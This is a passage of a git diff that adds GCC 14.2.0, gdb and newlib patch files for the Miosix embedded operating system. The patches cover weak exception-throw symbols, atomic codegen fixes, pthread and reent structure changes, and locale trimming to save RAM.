__throw_out_of_range_fmt(const char* __fmt, ...) + { +-#if _GLIBCXX_HOSTED && _GLIBCXX_VERBOSE && __cpp_exceptions ++ // Miosix applications usually run with tiny stacks of a few KB, doing an ++ // alloca of 512+ bytes is almost guaranteed to cause stack overflow. ++ // The fact that this allocation happens if an exception is thrown (which ++ // should normally not occur) only makes testing and sizing stacks harder. ++ // For this reason, even if it is a nice feature, we've decided to not ++ // expand formats. Users will get a strange exception with %zu or other ++ // format strings in it, but at least no stack overflow. ++#if _GLIBCXX_HOSTED && _GLIBCXX_VERBOSE && __cpp_exceptions && !defined(_MIOSIX) + const size_t __len = __builtin_strlen(__fmt); + // We expect at most 2 numbers, and 1 short string. The additional + // 512 bytes should provide more than enough space for expansion. +@@ -105,19 +121,19 @@ + #endif + } + +- void ++ void AW + __throw_runtime_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(runtime_error(_(__s))); } + +- void ++ void AW + __throw_range_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(range_error(_(__s))); } + +- void ++ void AW + __throw_overflow_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(overflow_error(_(__s))); } + +- void ++ void AW + __throw_underflow_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(underflow_error(_(__s))); } + +diff -ruN gcc-14.2.0-old/libstdc++-v3/src/c++11/functional.cc gcc-14.2.0/libstdc++-v3/src/c++11/functional.cc +--- gcc-14.2.0-old/libstdc++-v3/src/c++11/functional.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/src/c++11/functional.cc 2025-11-02 17:03:47.900049916 +0100 +@@ -25,11 +25,20 @@ + #include + #include + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace std _GLIBCXX_VISIBILITY(default) + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + +- void ++ void AW + __throw_bad_function_call() + { _GLIBCXX_THROW_OR_ABORT(bad_function_call()); } + +diff -ruN gcc-14.2.0-old/libstdc++-v3/src/c++11/future.cc gcc-14.2.0/libstdc++-v3/src/c++11/future.cc +--- gcc-14.2.0-old/libstdc++-v3/src/c++11/future.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/src/c++11/future.cc 2025-11-02 17:03:47.900049916 +0100 +@@ -29,6 +29,15 @@ + # define __constinit [[clang::require_constant_initialization]] + #endif + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace + { + struct future_error_category final : public std::error_category +@@ -81,7 +90,7 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + +- void ++ void AW + __throw_future_error(int __i __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(future_error(make_error_code(future_errc(__i)))); } + +diff -ruN gcc-14.2.0-old/libstdc++-v3/src/c++11/system_error.cc gcc-14.2.0/libstdc++-v3/src/c++11/system_error.cc +--- gcc-14.2.0-old/libstdc++-v3/src/c++11/system_error.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/src/c++11/system_error.cc 2025-11-02 17:03:47.900049916 +0100 +@@ -42,6 +42,15 @@ + # define __constinit [[clang::require_constant_initialization]] + #endif + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace + { + using std::string; +@@ -589,7 +598,7 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + +- void ++ void AW + __throw_system_error(int __i __attribute__((unused))) + { + _GLIBCXX_THROW_OR_ABORT(system_error(__i, generic_category_instance.obj)); +diff -ruN gcc-14.2.0-old/libstdc++-v3/src/c++11/thread.cc gcc-14.2.0/libstdc++-v3/src/c++11/thread.cc +--- gcc-14.2.0-old/libstdc++-v3/src/c++11/thread.cc 2024-08-01 10:17:18.000000000 +0200 ++++ gcc-14.2.0/libstdc++-v3/src/c++11/thread.cc 2025-11-03 00:42:06.554072465 +0100 +@@ -22,8 +22,12 @@ + // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see + // . + +- ++// Patch rationale: don't need to be ABI backwards compatible, and ++// on top of that the compat code pulls in exceptions when compiling Miosix with ++// exceptions disabled. ++#ifndef _MIOSIX + #define _GLIBCXX_THREAD_ABI_COMPAT 1 ++#endif // _MIOSIX + #define _GLIBCXX_THREAD_IMPL 1 + #include // include this first so can use shared_ptr + #include +@@ -97,7 +101,16 @@ + { + extern "C" + { ++ /* ++ * Patch rationale: the need to call the class destructor makes it ++ * call __cxa_end_cleanup which pulls in exception code. Thus, reimplemented ++ * in Miosix when compiling without exceptions. ++ */ ++#ifdef _MIOSIX ++ void* __attribute__((weak)) ++#else + static void* ++#endif + execute_native_thread_routine(void* __p) + { + thread::_State_ptr __t{ static_cast(__p) }; +@@ -125,6 +138,9 @@ + + thread::_State::~_State() = default; + ++ //Patch rationale: compiling these in libstdc++.a pulls in exceptions ++ //This patch works together with the one in include/std/thread ++#ifndef _MIOSIX + void + thread::join() + { +@@ -176,6 +192,7 @@ + __throw_system_error(err); + state.release(); + } ++#endif + + #if _GLIBCXX_THREAD_ABI_COMPAT + void +diff -ruN gcc-14.2.0-old/zlib/zutil.h gcc-14.2.0/zlib/zutil.h +--- gcc-14.2.0-old/zlib/zutil.h 2024-08-01 10:17:19.000000000 +0200 ++++ gcc-14.2.0/zlib/zutil.h 2025-11-02 17:03:47.900049916 +0100 +@@ -132,15 +132,6 @@ + + #if defined(MACOS) || defined(TARGET_OS_MAC) + # define OS_CODE 7 +-# ifndef Z_SOLO +-# if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os +-# include /* for fdopen */ +-# else +-# ifndef fdopen +-# define fdopen(fd,mode) NULL /* No fdopen() */ +-# endif +-# endif +-# endif + #endif + + #ifdef __acorn diff --git a/tools/compiler/gcc-14.2.0-mp4.0/patches/gcc_atomics.patch b/tools/compiler/gcc-14.2.0-mp4.0/patches/gcc_atomics.patch new file mode 100644 index 000000000..c91a45619 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/patches/gcc_atomics.patch @@ -0,0 +1,188 @@ +diff --git gcc-14.2.0-old/gcc/builtins.cc gcc-14.2.0/gcc/builtins.cc +index 7c1497561f7..f754ee85e6d 100644 +--- gcc-14.2.0-old/gcc/builtins.cc ++++ gcc-14.2.0/gcc/builtins.cc +@@ -6596,12 +6596,21 @@ expand_builtin_sync_lock_test_and_set (machine_mode mode, tree exp, + static void + expand_builtin_sync_lock_release (machine_mode mode, tree exp) + { +- rtx mem; +- +- /* Expand the operands. */ +- mem = get_builtin_sync_mem (CALL_EXPR_ARG (exp, 0), mode); +- +- expand_atomic_store (mem, const0_rtx, MEMMODEL_SYNC_RELEASE, true); ++ /* Miosix patch begin: Generate the atomic store the long way because ++ just calling expand_atomic_store does not guarantee we generate any code */ ++ rtx mem = get_builtin_sync_mem (CALL_EXPR_ARG (exp, 0), mode); ++ unsigned int bytes_log2 = exact_log2 (GET_MODE_SIZE (mode).to_constant ()); ++ gcc_assert (bytes_log2 < 5); ++ built_in_function fncode ++ = (built_in_function) ((int) BUILT_IN_ATOMIC_STORE_1 + bytes_log2); ++ tree const fn = builtin_decl_explicit (fncode); ++ tree target = CALL_EXPR_ARG (exp, 0); ++ tree sync = build_int_cst (integer_type_node, MEMMODEL_SYNC_RELEASE); ++ tree exp2 = build_call_expr (fn, 3, target, ++ build_zero_cst (boolean_type_node), ++ sync); ++ expand_builtin (exp2, NULL_RTX, NULL_RTX, mode, false); ++ /* Miosix patch end */ + } + + /* Given an integer representing an ``enum memmodel'', verify its +@@ -7180,9 +7189,20 @@ expand_builtin_atomic_clear (tree exp) + fail is if the bool type is larger than a word size. Unlikely, but + handle it anyway for completeness. Assume a single threaded model since + there is no atomic support in this case, and no barriers are required. */ +- rtx ret = expand_atomic_store (mem, const0_rtx, model, true); +- if (!ret) +- emit_move_insn (mem, const0_rtx); ++ /* Miosix patch begin: As the comment above suggests, the case in which ++ expand_atomic_store failed was handled, but in the wrong way, just ++ generating a move, while it actually needed to call the __atomic_store ++ function. By generating the store the long way we avoid problems. ++ TODO: assuming that BOOL_TYPE_SIZE is 8 bits here, which is correct for ++ the architectures supported by Miosix. */ ++ tree const fn = builtin_decl_explicit (BUILT_IN_ATOMIC_STORE_1); ++ tree target = CALL_EXPR_ARG (exp, 0); ++ tree sync = build_int_cst (integer_type_node, model); ++ tree exp2 = build_call_expr (fn, 3, target, ++ build_zero_cst (boolean_type_node), ++ sync); ++ expand_builtin (exp2, NULL_RTX, NULL_RTX, mode, false); ++ /* Miosix patch end */ + return const0_rtx; + } + +diff --git gcc-14.2.0-old/gcc/config/arm/sync.md gcc-14.2.0/gcc/config/arm/sync.md +index 0a8347fc598..611887fa618 100644 +--- gcc-14.2.0-old/gcc/config/arm/sync.md ++++ gcc-14.2.0/gcc/config/arm/sync.md +@@ -102,7 +102,7 @@ + [(match_operand:QHSI 0 "register_operand") ;; val out + (match_operand:QHSI 1 "arm_sync_memory_operand") ;; memory + (match_operand:SI 2 "const_int_operand")] ;; model +- "" ++ "!TARGET_THUMB1" ;; Miosix patch: generate calls if we don't have ldrex/strex + { + memmodel model = memmodel_from_int (INTVAL (operands[2])); + +@@ -131,7 +131,7 @@ + [(match_operand:QHSI 0 "arm_sync_memory_operand") ;; memory + (match_operand:QHSI 1 "register_operand") ;; store value + (match_operand:SI 2 "const_int_operand")] ;; model +- "" ++ "!TARGET_THUMB1" ;; Miosix patch: generate calls if we don't have ldrex/strex + { + memmodel model = memmodel_from_int (INTVAL (operands[2])); + +diff --git gcc-14.2.0-old/gcc/optabs.cc gcc-14.2.0/gcc/optabs.cc +index ce91f94ed43..7bfa4bd49e5 100644 +--- gcc-14.2.0-old/gcc/optabs.cc ++++ gcc-14.2.0/gcc/optabs.cc +@@ -7408,29 +7408,20 @@ expand_atomic_load (rtx target, rtx mem, enum memmodel model) + delete_insns_since (last); + } + +- /* If the size of the object is greater than word size on this target, +- then we assume that a load will not be atomic. We could try to +- emulate a load with a compare-and-swap operation, but the store that +- doing this could result in would be incorrect if this is a volatile +- atomic load or targetting read-only-mapped memory. */ +- if (maybe_gt (GET_MODE_PRECISION (mode), BITS_PER_WORD)) +- /* If there is no atomic load, leave the library call. */ +- return NULL_RTX; +- +- /* Otherwise assume loads are atomic, and emit the proper barriers. */ +- if (!target || target == const0_rtx) +- target = gen_reg_rtx (mode); +- +- /* For SEQ_CST, emit a barrier before the load. */ +- if (is_mm_seq_cst (model)) +- expand_mem_thread_fence (model); +- +- emit_move_insn (target, mem); +- +- /* Emit the appropriate barrier after the load. */ +- expand_mem_thread_fence (model); +- +- return target; ++ /* Miosix patch begin ++ Upstream, there is codegen here that assumes one could always use a normal ++ load wrapped around some barriers if there are no architecture specific ++ pattern for atomic_load AND the size of the value is <= the architecture's ++ word size. But this is of course wrong if for other atomics we are using ++ lock-based implementations in all cases. This is pointed out in ++ bug report https://gcc.gnu.org/bugzilla/show_bug.cgi?id=86005, but ++ the maintainers don't seem forthcoming in addressing the problem. ++ Since this issue affects Miosix specifically, we patch it ourselves ++ for now by always using the code-path for objects that are not a ++ supported word size. */ ++ /* Leave the library call. */ ++ return NULL_RTX; ++ /* Miosix patch end */ + } + + /* This function expands the atomic store operation: +@@ -7485,36 +7476,32 @@ expand_atomic_store (rtx mem, rtx val, enum memmodel model, bool use_release) + } + } + +- /* If the size of the object is greater than word size on this target, +- a default store will not be atomic. */ +- if (maybe_gt (GET_MODE_PRECISION (mode), BITS_PER_WORD)) +- { +- /* If loads are atomic or we are called to provide a __sync builtin, +- we can try a atomic_exchange and throw away the result. Otherwise, +- don't do anything so that we do not create an inconsistency between +- loads and stores. */ +- if (can_atomic_load_p (mode) || is_mm_sync (model)) +- { +- rtx target = maybe_emit_atomic_exchange (NULL_RTX, mem, val, model); +- if (!target) +- target = maybe_emit_compare_and_swap_exchange_loop (NULL_RTX, mem, +- val); +- if (target) +- return const0_rtx; +- } +- return NULL_RTX; ++ /* Miosix patch begin ++ Upstream, there is codegen here that assumes one could always use a normal ++ store wrapped around some barriers if there are no architecture specific ++ pattern for atomic_store. But this is of course wrong if for other atomics ++ we are using lock-based implementations. This is pointed out in ++ bug report https://gcc.gnu.org/bugzilla/show_bug.cgi?id=86005, but ++ the maintainers don't seem forthcoming in addressing the problem. ++ Since this issue affects Miosix specifically, we patch it ourselves ++ for now by always using the code-path for objects that are not a ++ supported word size. */ ++ /* If loads are atomic or we are called to provide a __sync builtin, ++ we can try a atomic_exchange and throw away the result. Otherwise, ++ don't do anything so that we do not create an inconsistency between ++ loads and stores. */ ++ if (can_atomic_load_p (mode) || is_mm_sync (model)) ++ { ++ rtx target = maybe_emit_atomic_exchange (NULL_RTX, mem, val, model); ++ if (!target) ++ target = maybe_emit_compare_and_swap_exchange_loop (NULL_RTX, mem, ++ val); ++ if (target) ++ return const0_rtx; + } +- +- /* Otherwise assume stores are atomic, and emit the proper barriers. */ +- expand_mem_thread_fence (model); +- +- emit_move_insn (mem, val); +- +- /* For SEQ_CST, also emit a barrier after the store. */ +- if (is_mm_seq_cst (model)) +- expand_mem_thread_fence (model); +- +- return const0_rtx; ++ /* Leave the library call. */ ++ return NULL_RTX; ++ /* Miosix patch end */ + } + + diff --git a/tools/compiler/gcc-14.2.0-mp4.0/patches/gdb.patch b/tools/compiler/gcc-14.2.0-mp4.0/patches/gdb.patch new file mode 100644 index 000000000..a6d1fae3c --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/patches/gdb.patch @@ -0,0 +1,19 @@ +diff -ruN gdb-16.2-old/zlib/zutil.h gdb-16.2/zlib/zutil.h +--- gdb-16.2-old/zlib/zutil.h 2024-12-29 03:50:08 ++++ gdb-16.2/zlib/zutil.h 2025-09-22 21:19:39 +@@ -139,15 +139,6 @@ + + #if defined(MACOS) || defined(TARGET_OS_MAC) + # define OS_CODE 7 +-# ifndef Z_SOLO +-# if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os +-# include /* for fdopen */ +-# else +-# ifndef fdopen +-# define fdopen(fd,mode) NULL /* No fdopen() */ +-# endif +-# endif +-# endif + #endif + + #ifdef __acorn diff --git a/tools/compiler/gcc-14.2.0-mp4.0/patches/newlib.patch b/tools/compiler/gcc-14.2.0-mp4.0/patches/newlib.patch new file mode 100644 index 000000000..4faa7fdc2 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/patches/newlib.patch @@ -0,0 +1,7755 @@ +diff -ruN newlib-3.1.0-old/newlib/configure.host newlib-3.1.0/newlib/configure.host +--- newlib-3.1.0-old/newlib/configure.host 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/configure.host 2025-01-29 08:51:09.185355614 +0100 +@@ -417,6 +417,10 @@ + stdio64_dir=stdio64 + xdr_dir=xdr + ;; ++ *-miosix-*) ++ sys_dir=miosix ++ posix_dir=posix ++ ;; + *-*-netware*) + signal_dir= + sys_dir=netware +@@ -628,6 +632,24 @@ + default_newlib_io_long_long="yes" + syscall_dir= + ;; ++ *-miosix-*) ++# Miosix requires a couple of tweaks that are #ifdef'd ++# REENTRANT_SYSCALLS_PROVIDED: as in libc/include/reent.h, disables the ++# syscall definition starting with an underscore in libc/reent ++# GETREENT_PROVIDED Miosix provides its own getreent to give per-thread reent ++# HAVE_BLKSIZE: BUFSIZ is kept small in Miosix to reduce RAM usage, especially on the stack. ++# therefore to optimize disk throughput, make sure the libc sets buffers based on st_blksize ++# HAVE_FCNTL: make fcntl available ++# HAVE_NANOSLEEP: provides support for sleep/usleep ++# _NO_POPEN: no popen() support in Miosix (missing fork()) ++# _NO_WORDEXP: no wordexp() support in Miosix (missing fork()) ++# _NO_POSIX_SPAWN: Miosix provides ths function as a syscall ++# _SMALL_HEXDIG: save 256 byte of RAM in stdlib/gdtoa-gethex.c ++# SIGNAL_PROVIDED: disable the implementation of signals in newlib ++# _EXECL_USE_MALLOC avoid unbounded stack allocation in exec*.c ++ newlib_cflags="${newlib_cflags} -DREENTRANT_SYSCALLS_PROVIDED -DGETREENT_PROVIDED -DHAVE_BLKSIZE -DHAVE_FCNTL -DHAVE_NANOSLEEP -D_NO_POPEN -D_NO_WORDEXP -D_NO_POSIX_SPAWN -D_SMALL_HEXDIG -DSIGNAL_PROVIDED -D_EXECL_USE_MALLOC" ++ newlib_cflags="${newlib_cflags} -Wall" ++ ;; + # RTEMS supplies its own versions of some routines: + # malloc() (reentrant version) + # exit() RTEMS has a "global" reent to flush +diff -ruN newlib-3.1.0-old/newlib/libc/include/locale.h newlib-3.1.0/newlib/libc/include/locale.h +--- newlib-3.1.0-old/newlib/libc/include/locale.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/locale.h 2024-07-26 22:02:58.645581943 +0200 +@@ -71,18 +71,20 @@ + char *_setlocale_r (struct _reent *, int, const char *); + struct lconv *_localeconv_r (struct _reent *); + ++#ifndef _MIOSIX + struct __locale_t *_newlocale_r (struct _reent *, int, const char *, + struct __locale_t *); + void _freelocale_r (struct _reent *, struct __locale_t *); + struct __locale_t *_duplocale_r (struct _reent *, struct __locale_t *); + struct __locale_t *_uselocale_r (struct _reent *, struct __locale_t *); ++#endif /* _MIOSIX */ + + #ifndef _REENT_ONLY + + char *setlocale (int, const char *); + struct lconv *localeconv (void); + +-#if __POSIX_VISIBLE >= 200809 ++#if __POSIX_VISIBLE >= 200809 && !defined(_MIOSIX) + locale_t newlocale (int, const char *, locale_t); + void freelocale (locale_t); + locale_t duplocale (locale_t); +diff -ruN newlib-3.1.0-old/newlib/libc/include/malloc.h newlib-3.1.0/newlib/libc/include/malloc.h +--- newlib-3.1.0-old/newlib/libc/include/malloc.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/malloc.h 2025-02-13 11:27:22.034784831 +0100 +@@ -34,36 +34,36 @@ + + /* The routines. */ + +-extern void *malloc (size_t); ++extern void *malloc (size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _malloc_r + #define _malloc_r(r, s) malloc (s) + #else +-extern void *_malloc_r (struct _reent *, size_t); ++extern void *_malloc_r (struct _reent *, size_t) _NOTHROW; + #endif + +-extern void free (void *); ++extern void free (void *) _NOTHROW; + #ifdef __CYGWIN__ + #undef _free_r + #define _free_r(r, p) free (p) + #else +-extern void _free_r (struct _reent *, void *); ++extern void _free_r (struct _reent *, void *) _NOTHROW; + #endif + +-extern void *realloc (void *, size_t); ++extern void *realloc (void *, size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _realloc_r + #define _realloc_r(r, p, s) realloc (p, s) + #else +-extern void *_realloc_r (struct _reent *, void *, size_t); ++extern void *_realloc_r (struct _reent *, void *, size_t) _NOTHROW; + #endif + +-extern void *calloc (size_t, size_t); ++extern void *calloc (size_t, size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _calloc_r + #define _calloc_r(r, s1, s2) calloc (s1, s2); + #else +-extern void *_calloc_r (struct _reent *, size_t, size_t); ++extern void *_calloc_r (struct _reent *, size_t, size_t) _NOTHROW; + #endif + + extern void *memalign (size_t, size_t); +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/config.h newlib-3.1.0/newlib/libc/include/sys/config.h +--- newlib-3.1.0-old/newlib/libc/include/sys/config.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/config.h 2024-07-26 22:02:58.645581943 +0200 +@@ -234,6 +234,14 @@ + #include + #endif + ++#ifdef _MIOSIX ++#define __BUFSIZ__ 256 /* Because Miosix threads often have small (<2KB) stacks */ ++#define _REENT_SMALL /* To save RAM */ ++#define _REENT_GLOBAL_ATEXIT /* No atexit stuff in _reent */ ++#define __DYNAMIC_REENT__ /* Enable __getreent() */ ++#define _REENT_GLOBAL_STDIO_STREAMS /* stdin/out/err shared for all threads */ ++#endif /* _MIOSIX */ ++ + #if defined(__rtems__) + #define __FILENAME_MAX__ 255 + #define _READ_WRITE_RETURN_TYPE _ssize_t +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/features.h newlib-3.1.0/newlib/libc/include/sys/features.h +--- newlib-3.1.0-old/newlib/libc/include/sys/features.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/features.h 2025-04-15 11:54:43.088199900 +0200 +@@ -330,6 +330,17 @@ + # define __SSP_FORTIFY_LEVEL 0 + #endif + ++#ifdef _MIOSIX ++#define _POSIX_THREADS 1 /* Miosix provides pthread support */ ++#define _POSIX_THREAD_PRIO_INHERIT 1 ++#define _POSIX_THREAD_PRIO_PROTECT 1 ++#define _UNIX98_THREAD_MUTEX_ATTRIBUTES 1 /* Miosix provides recursive mutexes */ ++#define _POSIX_TIMEOUTS 1 ++#define _POSIX_TIMERS 1 /* for clock_gettime (c++11 chrono) */ ++#define _POSIX_CLOCK_SELECTION 1 /* for clock_nanosleep (c++11 thread)*/ ++#define _POSIX_MONOTONIC_CLOCK 1 /* for clock_gettime (c++11 chrono) */ ++#endif /* _MIOSIX */ ++ + /* RTEMS adheres to POSIX -- 1003.1b with some features from annexes. */ + + #ifdef __rtems__ +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/_pthreadtypes.h newlib-3.1.0/newlib/libc/include/sys/_pthreadtypes.h +--- newlib-3.1.0-old/newlib/libc/include/sys/_pthreadtypes.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/_pthreadtypes.h 2025-04-16 15:31:12.712632770 +0200 +@@ -143,6 +143,8 @@ + + #endif /* !defined(_UNIX98_THREAD_MUTEX_ATTRIBUTES) */ + ++#ifndef _MIOSIX ++ + #if defined(__XMK__) + typedef unsigned int pthread_mutex_t; /* identify a mutex */ + +@@ -171,11 +173,45 @@ + + #define _PTHREAD_MUTEX_INITIALIZER ((pthread_mutex_t) 0xFFFFFFFF) + ++#else /* _MIOSIX */ ++/* ++ * The definition of pthread_mutex_t: ++ * - has been changed from a simple int to a struct containing the actual mutex ++ * implementation for speed reasons. ++ * - has been moved to sys/lock.h because leaving it here and #including sys/_pthreadtypes.h ++ * in sys/lock.h would have caused a cycle of #includes ++ */ ++typedef struct { ++ char is_initialized; ++ char prio; ++ char recursive; ++} pthread_mutexattr_t; ++ ++#define _PTHREAD_MUTEX_INITIALIZER {0,-1,0,0,0,0,0} ++/* NOTE: this is not defined in pthread.h, so no leading underscore */ ++#define PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP {0,0,0,0,0,0,0} ++#endif /* _MIOSIX */ ++ + /* Condition Variables */ + ++#ifndef _MIOSIX + typedef __uint32_t pthread_cond_t; /* identify a condition variable */ + + #define _PTHREAD_COND_INITIALIZER ((pthread_cond_t) 0xFFFFFFFF) ++#else /* _MIOSIX */ ++/* ++ * The definition of pthread_cond_t has been changed from an int to a struct ++ * with the memory layout of the condition variable type for speed reasons. ++ */ ++typedef struct ++{ ++ void *field1; /* Opaque fields */ ++ void *field2; /* Opaque fields */ ++ void *field3; /* Opaque fields */ ++} pthread_cond_t; ++ ++#define _PTHREAD_COND_INITIALIZER {0,0,0} ++#endif /* _MIOSIX */ + + typedef struct { + int is_initialized; +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/reent.h newlib-3.1.0/newlib/libc/include/sys/reent.h +--- newlib-3.1.0-old/newlib/libc/include/sys/reent.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/reent.h 2024-07-26 22:02:58.645581943 +0200 +@@ -386,8 +386,10 @@ + + int __sdidinit; /* 1 means stdio has been init'd */ + ++# ifndef _MIOSIX + int _unspecified_locale_info; /* unused, reserved for locale stuff */ + struct __locale_t *_locale;/* per-thread locale */ ++# endif /* _MIOSIX */ + + struct _mprec *_mp; + +@@ -403,8 +405,10 @@ + struct __tm *_localtime_buf; + char *_asctime_buf; + ++# ifndef _MIOSIX + /* signal info */ + void (**(_sig_func))(int); ++# endif /* _MIOSIX */ + + # ifndef _REENT_GLOBAL_ATEXIT + /* atexit stuff */ +@@ -413,7 +417,9 @@ + # endif + + struct _glue __sglue; /* root of glue chain */ ++# ifndef _MIOSIX + __FILE *__sf; /* file descriptors */ ++# endif /* _MIOSIX */ + struct _misc_reent *_misc; /* strtok, multibyte states */ + char *_signal_buf; /* strsignal */ + }; +@@ -421,6 +427,7 @@ + #ifdef _REENT_GLOBAL_STDIO_STREAMS + extern __FILE __sf[3]; + ++#ifndef _MIOSIX + # define _REENT_INIT(var) \ + { 0, \ + &__sf[0], \ +@@ -446,6 +453,37 @@ + _NULL, \ + _NULL \ + } ++#else /* _MIOSIX */ ++/* ++ * Same as above but with the _current_locale, _current_category, ++ * _atexit and _atexit0 fields removed ++ */ ++# define _REENT_INIT(var) \ ++ { 0, \ ++ &__sf[0], \ ++ &__sf[1], \ ++ &__sf[2], \ ++ 0, \ ++ _NULL, \ ++ 0, \ ++ /* 0, */ \ ++ /* _NULL, */ \ ++ _NULL, \ ++ _NULL, \ ++ 0, \ ++ 0, \ ++ _NULL, \ ++ _NULL, \ ++ _NULL, \ ++ _NULL, \ ++ /* _NULL, */ \ ++ _REENT_INIT_ATEXIT \ ++ {_NULL, 0, _NULL}, \ ++ /* _NULL, */ \ ++ _NULL, \ ++ _NULL \ ++ } ++#endif /* _MIOSIX */ + + #define _REENT_INIT_PTR_ZEROED(var) \ + { (var)->_stdin = &__sf[0]; \ +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/_types.h newlib-3.1.0/newlib/libc/include/sys/_types.h +--- newlib-3.1.0-old/newlib/libc/include/sys/_types.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/_types.h 2024-07-26 22:02:58.645581943 +0200 +@@ -67,7 +67,7 @@ + + #ifndef __machine_ino_t_defined + #if (defined(__i386__) && (defined(GO32) || defined(__MSDOS__))) || \ +- defined(__sparc__) || defined(__SPU__) ++ defined(__sparc__) || defined(__SPU__) || defined(_MIOSIX) + typedef unsigned long __ino_t; + #else + typedef unsigned short __ino_t; +diff -ruN newlib-3.1.0-old/newlib/libc/locale/duplocale.c newlib-3.1.0/newlib/libc/locale/duplocale.c +--- newlib-3.1.0-old/newlib/libc/locale/duplocale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/duplocale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -39,6 +39,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + struct __locale_t * + _duplocale_r (struct _reent *p, struct __locale_t *locobj) + { +@@ -100,3 +102,5 @@ + return _duplocale_r (_REENT, locobj); + } + #endif ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/locale/freelocale.c newlib-3.1.0/newlib/libc/locale/freelocale.c +--- newlib-3.1.0-old/newlib/libc/locale/freelocale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/freelocale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -37,6 +37,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + void + _freelocale_r (struct _reent *p, struct __locale_t *locobj) + { +@@ -62,3 +64,5 @@ + { + _freelocale_r (_REENT, locobj); + } ++ ++#endif /*_MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/locale/locale.c newlib-3.1.0/newlib/libc/locale/locale.c +--- newlib-3.1.0-old/newlib/libc/locale/locale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/locale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -240,6 +240,25 @@ + }; + #endif /* _MB_CAPABLE */ + ++#ifdef _MIOSIX ++/* ++ * A note on locales: there are two sets of locale-related primitives: ++ * the first is setlocale/localeconv/nl_langinfo, ++ * the second is newlocale/freelocale/duplocale/uselocale. ++ * ++ * newlib for Miosix is compiled without _MB_CAPABLE, so, setlocale just does ++ * nothing, and localeconv/nl_langinfo return non-const pointers however ++ * "According to POSIX, the caller should not modify the contents of this structure" ++ * ++ * The second set of primitives is not used by Miosix and neither by libstdc++ ++ * (checked with "cat libstdc++.a | strings | grep ''") ++ * and can simply be commented out as for Miosix locale is not a priority. ++ * ++ * All this to say that it is safe to make __global_locale const and save more ++ * than 200 bytes of RAM. ++ */ ++const ++#endif /* _MIOSIX */ + struct __locale_t __global_locale = + { + { "C", "C", DEFAULT_LOCALE, "C", "C", "C", "C", }, +diff -ruN newlib-3.1.0-old/newlib/libc/locale/newlocale.c newlib-3.1.0/newlib/libc/locale/newlocale.c +--- newlib-3.1.0-old/newlib/libc/locale/newlocale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/newlocale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -82,6 +82,8 @@ + #define LC_VALID_MASK (LC_COLLATE_MASK | LC_CTYPE_MASK | LC_MONETARY_MASK \ + | LC_NUMERIC_MASK | LC_TIME_MASK | LC_MESSAGES_MASK) + ++#ifndef _MIOSIX ++ + struct __locale_t * + _newlocale_r (struct _reent *p, int category_mask, const char *locale, + struct __locale_t *base) +@@ -220,3 +222,5 @@ + { + return 